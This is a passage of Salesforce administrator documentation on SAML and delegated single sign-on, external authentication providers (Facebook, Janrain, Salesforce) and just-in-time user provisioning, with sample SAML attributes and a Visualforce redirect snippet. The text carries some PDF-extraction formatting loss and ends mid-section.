HTTPS is required for Site URL
The specified Site is inactive or has exceeded its page limit

692

Security and Sharing

Reviewing the SAML Login History

Reviewing the SAML Login History


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

When a user logs in to Salesforce from another application using single sign-on, SAML assertions are sent to the Salesforce
login page. The assertions are checked against assertions in the authentication certificate specified in Your Name > Setup >
Security Controls > Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that indicates
why the login failed. In addition, the SAML Assertion Validator may be automatically populated with the invalid assertion.
To view the login history, click Your Name > Setup > Users > Login History. After viewing the login history, you may want
to share the information with your identity provider.
The following are the possible failures:
Assertion Expired
An assertion's timestamp is more than five minutes old.
Note: Salesforce does make an allowance of three minutes for clock skew. This means, in practice, that an
assertion can be as much as eight minutes passed the timestamp time, or three minutes before it. This amount
of time may be less if the assertion's validity period is less than five minutes.
Assertion Invalid
An assertion is not valid. For example, the <Subject> element of an assertion might be missing.
Audience Invalid
The value specified in <Audience> must be https://saml.salesforce.com.
Configuration Error/Perm Disabled
Something is wrong with the SAML configuration in Salesforce. For example, the uploaded certificate might be corrupted,
or the organization preference might have been turned off. Check your configuration in Your Name > Setup > Security
Controls > Single Sign-On Settings, get a sample SAML assertion from your identity provider, and click SAML
Assertion Validator.
Issuer Mismatched
The issuer or entity ID specified in an assertion does not match the issuer specified in your Salesforce configuration.

693

Security and Sharing

Best Practices for Implementing Single Sign-On

Recipient Mismatched
The recipient specified in an assertion does not match the recipient specified in your Salesforce configuration.
Replay Detected
The same assertion ID was used more than once. Assertion IDs must be unique within an organization.
Signature Invalid
The signature in an assertion cannot be validated by the certificate in your Salesforce configuration.
Subject Confirmation Error
The <Subject> specified in the assertion does not match the SAML configuration in Salesforce.

Best Practices for Implementing Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer and Database.com Editions
Customer Portals and partner portals are not available in Database.com

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Salesforce offers the following ways to use single sign-on:

Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, Salesforce does not validate a users password. Instead, Salesforce verifies an assertion in the HTTP POST request,
and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is
available in all Editions.
Delegated authentication: When delegated authentication is enabled, Salesforce does not validate a users password.
Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You
must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization.

In addition, you can also configure SAML for use with portals as well as for Sites.
Delegated Authentication Best Practices
Consider the following best practices when implementing delegated authentication single sign-on for your organization.

Your organizations implementation of the Web service must be accessible by salesforce.com servers. This means you must
deploy the Web service on a server in your DMZ. Remember to use your servers external DNS name when entering the
Delegated Gateway URL in the Delegated authentication section at Your Name > Setup > Security Controls > Single
Sign-On Settings in Salesforce.

694

Security and Sharing

Best Practices for Implementing Single Sign-On

If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt
fails. An error is reported to the user indicating that his or her corporate authentication service is down.
Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server
stub from the WSDL to ensure accuracy.
For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a
trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com.
The IP address that originated the login request is sourceIp. Use this information to restrict access based on the users
location. Note that the Salesforce feature that validates login IP ranges continues to be in effect for single sign-on users.
For more information, see Setting Login Restrictions on page 552.
You may need to map your organizations internal usernames and Salesforce usernames. If your organization does not
follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include
the Salesforce username as an attribute of a user account. Your authentication service can then use this attribute to map
back to a user account.
We recommend that you do not enable single sign-on for system administrators. If your system administrators are single
sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce. System administrators
should always be able to log in to Salesforce so they can disable single sign-on in the event of a problem.
We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before
implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com.
Make sure to test your implementation with Salesforce.com clients such as Salesforce for Outlook, Connect for Office,
and Connect Offline. For more information, see Single Sign-On for Salesforce clients.

Federated Authentication using SAML Best Practices


Consider the following best practices when implementing federated single sign-on with SAML for your organization.

Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of
your Identity Provider.
Your identity provider must allow you to set the Service Providers Audience URL, and it must be set to
https://saml.salesforce.com.
Salesforce allows a maximum of three minutes for clock skew with your IDP server; make sure your servers clock is
up-to-date.
If you are unable to log in with SAML assertion, always check the login history and note the error message.
You need to map your organizations internal usernames and Salesforce usernames. You have two choices to do this: add
a unique identifier to the FederationIdentifier field of each Salesforce user, or extend your user database schema
(for example, Active Directory) to include the Salesforce username as an attribute of a user account. Choose the corresponding
option for the SAML User ID Type field and configure your authentication service to send the identifier in SAML
assertions.
Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the
necessary configurations.
We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To
sign up for a free Developer Edition account, go to developer.force.com.
All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and
select SAML Enabled.
Your identity provider must allow you to set the service providers audience URL. The value must match the Entity ID
value in the single sign-on configuration. The default value is https://saml.salesforce.com.

Single Sign-On for Portals Best Practices

Only SAML version 2.0 can be used with portals.

695

Security and Sharing

Enabling Single Sign-On for Portals

Only Customer Portals and partner portals are supported.


Service provider initiated login is not supported.
Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified,
the user receives an error.
If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to
that portal login. If neither is populated, the user is directed to the regular SAML Salesforce login.
More than one portal can be used with a single organization.

Single Sign-On for Sites Best Practices

Only SAML version 2.0 can be used with Sites.


Only Customer Portals and partner portals are supported.
Service provider initiated login is not supported.
The portal_id, organization_id and siteUrl attributes are required for single sign-on for Sites. If only one is
specified, the user receives an error.
If all three of the portal_id, organization_id and siteUrl attributes are populated in the SAML assertion, the
user is directed to that Sites login. If the siteUrl isnt populated and the other two are, the user is directed to that portal
login.
More than one portal can be used with a single organization.

See Also:
About Single Sign-On
Single Sign-On Implementation Guide

Enabling Single Sign-On for Portals


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.
You can set up Customer Portals and partner portals to use SAML single sign-on, so that a customer only has to login once.

696

Security and Sharing

Enabling Single Sign-On for Sites

Note: Single sign-on with portals is only supported for SAML 2.0.

To enable single sign-on for portals:


1. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must
supply your information provider with the Organization ID and the Portal ID. In the SAML assertion that is sent from
your identity provider, the portal_id and organization_id must be added as attributes.
Note: You can leave these attributes blank to differentiate between portal and platform users. For example, when
blank, the user is a regular platform user and when populated, the user is a portal user.
a. Click Your Name > Setup > Company Profile > Company Information and copy the ID located in the Salesforce
Organization ID.
b. For Customer Portals, click Your Name > Setup > Customize > Customer Portal > Settings, click the name of the
Customer Portal, and copy the ID located in the Portal ID.
c. For partner portals, click Your Name > Setup > Customize > Partners > Settings, click the name of the partner portal,
and copy the ID located in the salesforce.com Portal ID.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Partner Portal Overview
Setting Up Your Customer Portal

Enabling Single Sign-On for Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.
You can set up Sites to use SAML single sign-on, so that a customer only has to login once.
To enable single sign-on for Sites using an identity provider:
1. Set up either a Customer Portal or a partner portal.
2. Set up your Sites.

697

Security and Sharing

Enabling Single Sign-On for Sites

3. If you are using the Customer Portal, set up your Sites to use Customer Portal.
4. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must
supply your information provider with the following:

Organization ID
Portal ID
Sites URL

The following must be added as attributes to the SAML assertion sent from your identity provider:

organization_id
portal_id
siteurl

To find these values:


a. Click Your Name > Setup > Company Profile > Company Information and copy the ID located in the Salesforce
Organization ID.
b. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings, click the name of
the Customer Portal, and copy the ID located in the Portal ID.
For partner portals, click Your Name > Setup > Customize > Partners > Settings, click the name of the partner portal,
and copy the ID located in the salesforce.com Portal ID.
c. Click Your Name > Setup > Develop > Sites, click the name of the Site, then copy the URL either located in the
Default Web Address, the Secure Web Address, or the Custom Web Address, depending on which one
you want your users to use when logging into Salesforce.
Service Provider Initiated SAML for Sites
Salesforce automatically provides single sign-on for Sites using SAML for when your company's identity provider initiates
login.
If you wanted to use SAML for Sites for when a service provider initiates sign-on, you must first create a Visualforce page
that provides a redirect to your server. The following is an example:
<apex:page showHeader="false" sidebar="false">
<script>
var PingSpURL =
"https://my.pingserver.com:9031/idp/startSSO.ping?PartnerSpId=salesforce.com.sp";
var siteLoginPage =
"&TargetResource={!$Site.CurrentSiteUrl}siteLogin?startUrl={!$Site.OriginalUrl}";
window.location = PingSpURL+siteLoginPage;
</script>
</apex:page>

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Force.com Sites Overview
Partner Portal Overview
Setting Up Your Customer Portal

698

Security and Sharing

Understanding Delegated Authentication Single Sign-On

Understanding Delegated Authentication Single Sign-On


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Salesforce uses the following process for authenticating users using delegated authentication single sign-on:
1. When a user tries to log ineither online or using the APISalesforce validates the username and checks the users
permissions and access settings.
2. If the user has the Is Single Sign-On Enabled user permission, then Salesforce does not validate the username and
password. Instead, a Web services call is made to the users organization, asking it to validate the username and password.
Note: Salesforce doesnt store, log, or view the password in any way. It is disposed of immediately once the process
is complete.
3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address
that originated the login request. You must create and deploy an implementation of the Web service that can be accessed
by salesforce.com servers.)
4. Your implementation of the Web service validates the passed information and returns either true or false.
5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application.
If false is returned, then the user is informed that his or her username and password combination is invalid.
Note:

System administrators should have single sign-on disabled. If your system administrators were single sign-on users
and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce. System
administrators should always be able to log in to Salesforce so that they can disable single sign-on in the event of
a problem. All users, except those with the System Administrator profile, have delegated authentication enabled
by default in Professional Edition.

699

Security and Sharing

Understanding Delegated Authentication Single Sign-On

There may be a momentary delay before a new user can log in after using delegated authentication due to the time
required for the new user account to become available in the organization.

See Also:
Configuring Salesforce for Delegated Authentication
Example SAML Assertions
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Configuring Salesforce for Delegated Authentication


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

To enable delegated authentication single sign-on (SSO) for your organization:


1. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
2. Build your single sign-on Web service:
a. In Salesforce, download the Web Services Description Language (WSDL) file, AuthenticationService.wsdl,
by clicking Your Name > Setup > Develop > API > Download Delegated Authentication WSDL. The WSDL
describes the delegated authentication single sign-on service and can be used to automatically generate a server-side
stub to which you can add your specific implementation. For example, in the WSDL2Java tool from Apache Axis, you
can use the --server-side switch. In the wsdl.exe tool from .NET, you can use the /server switch.
For a sample request and response, see Sample SOAP Message for Delegated Authentication on page 681.
b. Add a link to your corporate intranet or other internally-accessible site that takes the authenticated users credentials
and passes them through an HTTP POST to the Salesforce login page.
Because Salesforce does not use the password field other than to pass it back to you, you do not need to send a
password in this field. Instead, you could pass another authentication token, such as a Kerberos Ticket so that your
actual corporate passwords are not passed to or from Salesforce.
You can configure the Salesforce delegated authentication authority to allow only tokens or to accept either tokens or
passwords. If the authority only accepts tokens, a Salesforce user cannot log in to Salesforce directly, because they cannot
create a valid token. However, many companies choose to allow both tokens and passwords. In this environment, a
user could still log in to Salesforce through the login page.

700

External User Authentication

About External Authentication Providers

When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and
the user will gain access to the application.
3. In Salesforce, specify your organizations single sign-on gateway URL by clicking Your Name > Setup > Security Controls
> Single Sign-On Settings > Edit. Enter the URL in the Delegated Gateway URL text box.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:

80: This port only accepts HTTP connections.


443: This port only accepts HTTPS connections.
102466535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Optionally, check the Force Delegated Authentication Callout box.


Note: When this box is unchecked, a call is not made to the SSO endpoint if the login attempt first fails because
of login restrictions within the Salesforce organization. If you must record every login attempt, then check this box
to force a callout to the SSO endpoint regardless of login restriction failures.
5. Enable the Is Single Sign-On Enabled permission. For more information, see Overview of User Permissions and Access
on page 555.
Important: If single sign-on is enabled for your organization, API and desktop client users can't log into Salesforce
unless their IP address is included on your organization's list of trusted IP addresses or on their profile, if their profile
has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for
users with the Is Single Sign-On Enabled permission. However, if the security token is enabled for your organization,
then your organization's login lockout settings determine the number of times a user can attempt to log in with an
invalid security token before being locked out of Salesforce. For more information, see Setting Login Restrictions on
page 552. For information on how to view login errors, see Viewing Single Sign-On Login Errors on page 602.

See Also:
Understanding Delegated Authentication Single Sign-On
About Single Sign-On
Example SAML Assertions

EXTERNAL USER AUTHENTICATION


About External Authentication Providers
Available in: All Editions

You can enable users to log into your Salesforce organization using their login credentials from an external service provider
such as Facebook or Janrain. You must do the following to successfully set up an authentication provider.

Correctly configure the service provider website.

701

Security and Sharing

Configuring a Facebook Authentication Provider

Create a registration handler using Apex.


Define the authentication provider in your organization.

Defining Your Authentication Provider


We support the following providers:

Facebook
Janrain
Salesforce

Creating an Apex Registration Handler


A registration handler class is required to use Authorization Providers for the single sign-on flow. The Apex registration
handler class must implement the Auth.RegistrationHandler interface, which defines two methods. Salesforce invokes
the appropriate method on callback depending on whether the user has used this provider before or not. When you create the
authentication provider, you can automatically create an Apex template class for testing purposes. For more information, see
Auth.RegistrationHandler in the Force.com Apex Code Developer's Guide.

Configuring a Facebook Authentication Provider


User Permissions Needed
To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Manage Auth. Providers

You can use Facebook as an authentication provider. You must complete these steps:
1. Set up a Facebook application, making Salesforce the application domain.
2. Define a Facebook authentication provider in your Salesforce organization.
3. Update your Facebook application to use the Callback URL generated by Salesforce as the Facebook Website Site
URL.
4. Test the connection.
Setting up a Facebook Application
Before you can configure Facebook for your Salesforce organization, you must set up an application in Facebook:
1. Go to the Facebook website and create a new application.
2. Modify the application settings and set the Application Domain to Salesforce.
3. Note the Application Id and the Application Secret.
Defining a Facebook Provider in your Salesforce Organization
You need the Facebook Application Id and Application Secret to set up a Facebook provider in your Salesforce organization.
1. Select Your Name > Setup > Security Controls > Auth. Providers.
2. Click New.

702

Security and Sharing

Configuring a Facebook Authentication Provider

3. Select Facebook for the Provider Type.


4. Enter a Name for the provider.
5. Enter the URL Suffix. This is used in the client configuration URLs. For example, if the URL suffix of your provider
is MyFacebookProvider, your single sign-on URL is similar to:
https://login.salesforce.com/auth/sso/00Dx00000000001/MyFacebookProvider.
6. Use the Application ID from Facebook for the Consumer Key field.
7. Use the Application Secret from Facebook for the Consumer Secret field.
8. Optionally enter a custom error URL for the provider to use to report any errors.
9. Select an already existing Apex class as the Registration Handler class or click Automatically create a
registration handler template to create an Apex class template for the registration handler. You must edit this
class and modify the default content before using it.
Note: You must specify a registration handler class for Salesforce to generate the Single Sign-On
Initialization URL.
10. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users permission.
A user is required if you selected a registration handler class or are automatically creating one.
11. To use a portal with your provider, select the portal from the Portal drop-down list.
12. Click Save.
Be sure to note the Auth. Provider Id value. You must use it with the Auth.AuthToken Apex class.
Several client configuration URLs are generated after defining the authentication provider:

Test-Only Initialization URL: Administrators use this URL to ensure the third-party provider is set up correctly.

The administrator opens this URL in a browser, signs in to the third party, and is redirected back to Salesforce with a map
of attributes.
Single Sign-On Initialization URL: Use this URL to perform single sign-on into Salesforce from a third party
(using third-party credentials). The end user opens this URL in a browser, and signs in to the third party. This then either
creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.
Existing User Linking URL: Use this URL to link existing Salesforce users to a third-party account. The end user
opens this URL in a browser, signs in to the third party, signs in to Salesforce, and approves the link.
Callback URL: Use the callback URL for the endpoint that the authentication provider calls back to for configuration.
The authentication provider has to redirect to the Callback URL with information for each of the above client configuration
URLs.

Updating Your Facebook Application


After defining the Facebook authentication provider in your Salesforce organization, go back to Facebook and update your
application to use the Callback URL as the Facebook Website Site URL.
Testing the Single Sign-On Connection
In a browser, open the Test-Only Initialization URL on the Auth. Provider detail page. It should redirect you to
Facebook and ask you to sign in. Upon doing so, you are asked to authorize your application. After you authorize, you are
redirected back to Salesforce.
Using Auth Providers with Sites
To use your provider with a site, you need to do the following:

Specify a portal with your provider


Ensure the site is configured to use that same portal

703

Security and Sharing

Configuring a Janrain Authentication Provider

Add the site-specific login URL information to the appropriate client configuration URL, such as the Single Sign-On
Initialization URL, using the site parameter

You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL
is: https%3A%2F%2Fmysite.force.com%2FSiteLogin.
The following is an example of a site-login URL added to the Single Sign-On Initialization URL, where:
orgID is your Auth. Provider ID

URLsuffix is the value you specified when you defined the authentication provider

https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin

Configuring a Janrain Authentication Provider


User Permissions Needed
To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Manage Auth. Providers

Setting up a Janrain authentication provider is slightly different from setting up other providers. You dont use the Single
Sign-On Initialization URL that you obtain after registering your provider with Salesforce to start the flow. Instead you use
Janrains login widget thats deployed on your site.
To set up your Janrain provider:
1.
2.
3.
4.

Register your application with Janrain and get an apiKey.


Define the Janrain authentication provider in your Salesforce organization.
Get the login widget code on page 705 from Janrain.
Set up a site that calls the login widget code in your Salesforce organization.

Registering Your Application


You must sign up for a Janrain account from the Janrain website. Once you have your Janrain account, you need the apiKey.
1. Click Deployment > Sign-in for Web > Handle Tokens.
2. Copy the apiKey. You need this when creating the Janrain provider in your Salesforce organization.
3. Add salesforce.com to the Janrain domain whitelist in your Janrain account at Deployment > Application Settings
> Domain Whitelist.
Defining the Janrain Provider in your Salesforce Organization
You need the Janrain apiKey to create a Janrain provider in your Salesforce organization.
1.
2.
3.
4.

Select Your Name > Setup > Security Controls > Auth. Providers.
Click New.
Select Janrain for the Provider Type.
Enter a Name for the provider.

704

Security and Sharing

Configuring a Janrain Authentication Provider

5. Enter the URL Suffix. This is used in the Callback URL. For example, if the URL suffix of your provider is
MyJanrainProvider, your Callback URL is similar to
https://login.salesforce.com/services/authcallback/00D300000007CvvEAE/MyJanrainProvider.
6. Use the Janrain apiKey value for the Consumer Secret.
7. Optionally enter a custom error URL for the provider to use to report any errors.
8. Select an already existing Apex class as the Registration Handler class or click Automatically create a
registration handler template to create the Apex class template for the registration handler. You must edit this
class to modify the default content before using it.

Note: You must specify a registration handler class for Salesforce to use single sign-on.

9. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users permission.
A user is required if you selected a registration handler class or are automatically creating one.
10. To use a portal with your provider, select the portal from the Portal drop-down list.
11. Click Save.
Note the value of the Callback URL. You need it to complete the Janrain setup.
Several client configuration parameters are available after configuring Janrain as the authentication provider. Use these for the
flowtype value in the Callback URL with your Janrain login widget:

test: Use this parameter to make sure the third-party provider is set up correctly. The administrator configures a Janrain
widget to use flowtype=test, signs in to the third party, and is redirected back to Salesforce with a map of attributes.
link: Use this parameter to link existing Salesforce users to a third-party account . The end user goes to a page with a
Janrain widget configured to use flowtype=link, signs in to the third party, signs in to Salesforce, and approves the

link.
sso: Use this parameter to perform single sign-on into Salesforce from a third party (using third-party credentials). The
end user goes to a page with a Janrain widget configured to use flowtype=sso, and signs in to the third party. This then
either creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.

Getting the Login Widget Code from Janrain


You need to get the login widget code from Janrain for your Salesforce organization.
1. From your Janrain account, click Application > Sign-in for Web > Get the Code.
2. Enter the Callback URL value from your Janrain provider information in your Salesforce organization along with the
query parameter flowtype=sso as the token URL. For example,
https://login.salesforce.com/services/authcallback/00DD0000000JWFwMAB/JanrainApp?flowtype=sso.
To use My Domain, replace login.salesforce.com with your My Domain name.

Creating a Site to Call the Login Widget


1. Enable Sites. See Setting Up Force.com Sites on page 1623.
2. Create a page and copy the login widget code to the page.
3. Create a new site and specify the page you just created as the home page for the site.
Using Auth Providers with Sites
To use your provider with a site, you need to do the following:

Specify a portal when you create the Janrain provider.

705

Security and Sharing

Configuring a Salesforce Authentication Provider

Ensure the site is configured to use that same portal.


Add the domain of your site login URL to the Janrain domain whitelist in your Janrain account at Deployment > Application
Settings > Domain Whitelist.
Update the Janrain widget code with the Callback URL, using the site parameter.

You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL
is: https%3A%2F%2Fmysite.force.com%2FSiteLogin.
The following is an example of a site-login URL added to the Callback URL:
https://login.salesforce.com/services/authcallback/00DD0000000JaqyMAC/X178JRtest?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin

Configuring a Salesforce Authentication Provider


User Permissions Needed
To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Manage Auth. Providers

You can use a remote access application as an authentication provider. You must complete these steps:
1. Define a remote access application.
2. Define a Salesforce authentication provider in your organization.
3. Test the connection.
Defining a Remote Access Application
Before you can configure a Salesforce provider for your Salesforce organization, you must set up a remote access application
in your organization, using single sign-on. See Defining Remote Access Applications on page 2168.
After you finish defining a remote access application, save the values from the Consumer Key and Consumer Secret fields.
Defining the Salesforce Authentication Provider in your Organization
You need the values from the Consumer Key and Consumer Secret fields of the remote access application definition to
set up the authentication provider in your organization.
1.
2.
3.
4.
5.

Click Your Name > Setup > Security Controls > Auth. Providers.
Click New.
Select Salesforce for the Provider Type.
Enter a Name for the provider.
Enter the URL Suffix. This is used in the client configuration URLs. For example, if the URL suffix of your provider
is MySFDCProvider, your single sign-on URL is similar to
https://login.salesforce.com/auth/sso/00Dx00000000001/MySFDCProvider.
6. Paste the value of Consumer Key from the remote access application definition into the Consumer Key field.
7. Paste the value of Consumer Secret from the remote access application definition into the Consumer Secret field.
8. Optionally enter a custom error URL for the provider to use to report any errors.

706

Security and Sharing

Configuring a Salesforce Authentication Provider

9. Select an already existing Apex class as the Registration Handler class or click Automatically create a
registration handler template to create the Apex class template for the registration handler. You must edit this
template class to modify the default content before using it.
Note: You must specify a registration handler class for Salesforce to generate the Single Sign-On
Initialization URL.
10. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users
permission. A user is required if you selected a registration handler class or are automatically creating one.
11. To use a portal with your provider, select the portal from the Portal drop-down list.
12. Click Save.
Note the value of the Client Configuration URLs. You need the Callback URL to complete the last step, and you use
the Test-Only Initialization URL to check your configuration. Also be sure to note the Auth. Provider Id
value because you must use it with the Auth.AuthToken Apex class.
13. Return to the remote access application definition you created above and paste the value of Callback URL from the
authentication provider into the Callback URL field.
Several client configuration URLs are generated after defining the authentication provider:

Test-Only Initialization URL: Administrators use this URL to ensure the third-party provider is set up correctly.

The administrator opens this URL in a browser, signs in to the third party, and is redirected back to Salesforce with a map
of attributes.
Single Sign-On Initialization URL: Use this URL to perform single sign-on into Salesforce from a third party
(using third-party credentials). The end user opens this URL in a browser, and signs in to the third party. This then either
creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.
Existing User Linking URL: Use this URL to link existing Salesforce users to a third-party account. The end user
opens this URL in a browser, signs in to the third party, signs in to Salesforce, and approves the link.
Callback URL: Use the callback URL for the endpoint that the authentication provider calls back to for configuration.
The authentication provider has to redirect to the Callback URL with information for each of the above client configuration
URLs.

Testing the Single Sign-On Connection


In a browser, open the Test-Only Initialization URL on the Auth. Provider detail page. Both the authorizing
organization and target organization must be in the same environment, such as production or a sandbox.
Using Auth Providers with Sites
To use your provider with a site, you need to do the following:

Specify a portal with your provider


Ensure the site is configured to use that same portal
Add the site-specific login URL information to the appropriate client configuration URL, such as the Single Sign-On
Initialization URL, using the site parameter

You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL
is: https%3A%2F%2Fmysite.force.com%2FSiteLogin.
The following is an example of a site-login URL added to the Single Sign-On Initialization URL, where:

orgID is your Auth. Provider ID


URLsuffix is the value you specified when you defined the authentication provider

https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin

707

Just-in-time Provisioning

About Just-in-Time Provisioning for SAML

JUST-IN-TIME PROVISIONING
About Just-in-Time Provisioning for SAML
Available in: All Editions

With Just-in-Time provisioning, you can use a SAML assertion to create regular and portal users on the fly the first time they
try to log in. This eliminates the need to create user accounts in advance. For example, if you recently added an employee to
your organization, you don't need to manually create the user in Salesforce. When they log in with single sign-on, their account
is automatically created for them, eliminating the time and effort with on-boarding the account. Just-in-Time provisioning
works with your SAML identity provider to pass the correct user information to Salesforce in a SAML 2.0 assertion. You can
both create and modify accounts this way. Because Just-in-Time provisioning uses SAML to communicate, your organization
must have SAML-based single sign-on enabled.
Benefits of Just-in-Time Provisioning
Implementing Just-in-Time provisioning can offer the following advantages to your organization.

Reduced Administrative Costs: Provisioning over SAML allows customers to create accounts on-demand, as part of the
single sign-on process. This greatly simplifies the integration work required in scenarios where users need to be dynamically
provisioned, by combining the provisioning and single sign-on processes into a single message.
Increased User Adoption: Users only need to memorize a single password to access both their main site and Salesforce.
Users are more likely to use your Salesforce application on a regular basis.
Increased Security: Any password policies that you have established for your corporate network are also in effect for
Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users
who have access to sensitive data.

See Also:
Just-in-Time Provisioning Requirements
Just-in-Time Provisioning for Portals
Just-in-Time Provisioning Errors
Example SAML Assertions
About Single Sign-On

Just-in-Time Provisioning Requirements


Just-in-Time provisioning requires the creation of a SAML assertion. Consider the following when creating your SAML
assertion.

708

Security and Sharing

About Just-in-Time Provisioning for SAML

Provision Version is supported as an optional attribute. If it isn't specified, the default is 1.0. For example:
<saml:Attribute Name="ProvisionVersion" NameFormat=
"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">1.0</saml:AttributeValue>
</saml:Attribute>

ProfileIDs change per organization, even for standard profiles. To make it easier to find the profile name, Salesforce allows
you to do a profile name lookup by passing the ProfileName into the ProfileId field.

Field Requirements for the SAML Assertion


To correctly identify which object to create in Salesforce, you must use the User. prefix for all fields passed in the SAML
assertion. In this example, the User. prefix has been added to the Username field name.
<saml:Attribute
Name="User.Username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

The following standard fields are supported.


Fields

Required

Comments

AboutMe

If not present, a default is derived from FirstName and LastName.

Alias
CallCenter
City

If not present, a default is derived from the UserName.

CommunityNickname
CompanyName
Country

Derived from organization settings.

DefaultCurrencyIsoCode
DelegatedApproverId
Department
Division
Email
EmailEncodingKey

Y
If not present, a default is derived from the organization settings.

EmployeeNumber
Extension
Fax
FederationIdentifier (insert

only)

If present, it must match the SAML subject, or the SAML subject is


taken instead. Can't be updated with SAML.

FirstName

709

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields

Required

Comments

ForecastEnabled
IsActive
LastName

LanguageLocaleKey

If not present, a default is derived from the organization settings.

LocaleSidKey
Manager
MobilePhone
Phone
ProfileId

ReceivesAdminInfoEmails
ReceivesInfoEmails
State
Street

If not present, a default is derived from the organization settings.

TimeZoneSidKey
Title
Username (insert only)

UserRoleId

Can't update using SAML.


Defaults to no role if blank.

Zip

Other field requirements:

Only text type custom fields are supported.


Only the insert and update functions are supported for custom fields.
When using the API for user creation, you can pass the new username into the User.Username field. You can also specify
the User.FederationIdentifier if it is present. However, the Username and FederationIdentifier fields
can't be updated with API.

See Also:
About Just-in-Time Provisioning for SAML
Just-in-Time Provisioning for Portals
Just-in-Time Provisioning Errors
Example SAML Assertions
About Single Sign-On

710

Security and Sharing

About Just-in-Time Provisioning for SAML

Just-in-Time Provisioning for Portals


With Just-in-Time (JIT) provisioning for portals, you can use a SAML assertion to create customer and partner portal users
on the fly the first time they try to log in. This eliminates the need to create user accounts in advance. Because JIT uses SAML
to communicate, your organization must have SAML-based single sign-on enabled.
Creating Portal Users
The Portal ID and Organization ID must be specified as part of the SAML assertion. You can find both of these on
the company information page for the organization or portal. Because you can also provision regular users, thePortal ID is
used to distinguish between a regular and portal JIT provisioning request. If no Portal ID is specified, then the request is
